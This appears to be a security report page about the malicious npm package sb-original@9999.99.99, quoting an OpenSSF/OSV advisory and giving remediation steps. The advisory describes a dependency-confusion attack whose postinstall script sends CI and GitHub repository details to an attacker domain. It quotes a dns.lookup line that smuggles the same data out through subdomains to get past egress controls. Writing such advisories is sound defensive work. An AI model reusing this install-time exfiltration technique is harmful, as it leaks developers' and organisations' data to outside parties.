sb-original
This report shows the evidence for sb-original@9999.99.99, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5490 confirms this npm version as malicious.
Advisory
MAL-2026-5490
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in sb-original (npm)
Details
sb-original@9999.99.99 is an unscoped package whose version is set to 9999.99.99 to win semver resolution against any internal package of the same name. index.js transparently re-exports the real `sb-original` module so consumers see normal functionality, while a postinstall script silently fingerprints the installing environment. On `npm install`, postinstall.js POSTs JSON containing the consuming package name/version, Node version, OS, detected CI provider, and GitHub repository/owner/workflow identifiers to https://ddactic-lab.online/sc/beacon (postinstall.js:32). It also performs a DNS-based fallback that encodes the same fields as a subdomain of b.ddactic-lab.online (postinstall.js:46 `dns.lookup(`${sl}.${ci}.${h}.b.ddactic-lab.online`,...)`), which is designed to bypass HTTP egress controls. The combination of an extreme version floor, a transparent proxy main, and unconditional install-time exfiltration of GitHub repo identifiers to an attacker-controlled domain is the canonical dependency-confusion attack shape.
## Source: ghsa-malware (91923b6b76ff0debad26c6bac2dea8e0634346410ac928f93c02605f21851d27) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to sb-original@9999.99.99.
The versions list below shows the verdict for each recorded version.
- Avoid installing sb-original@9999.99.99. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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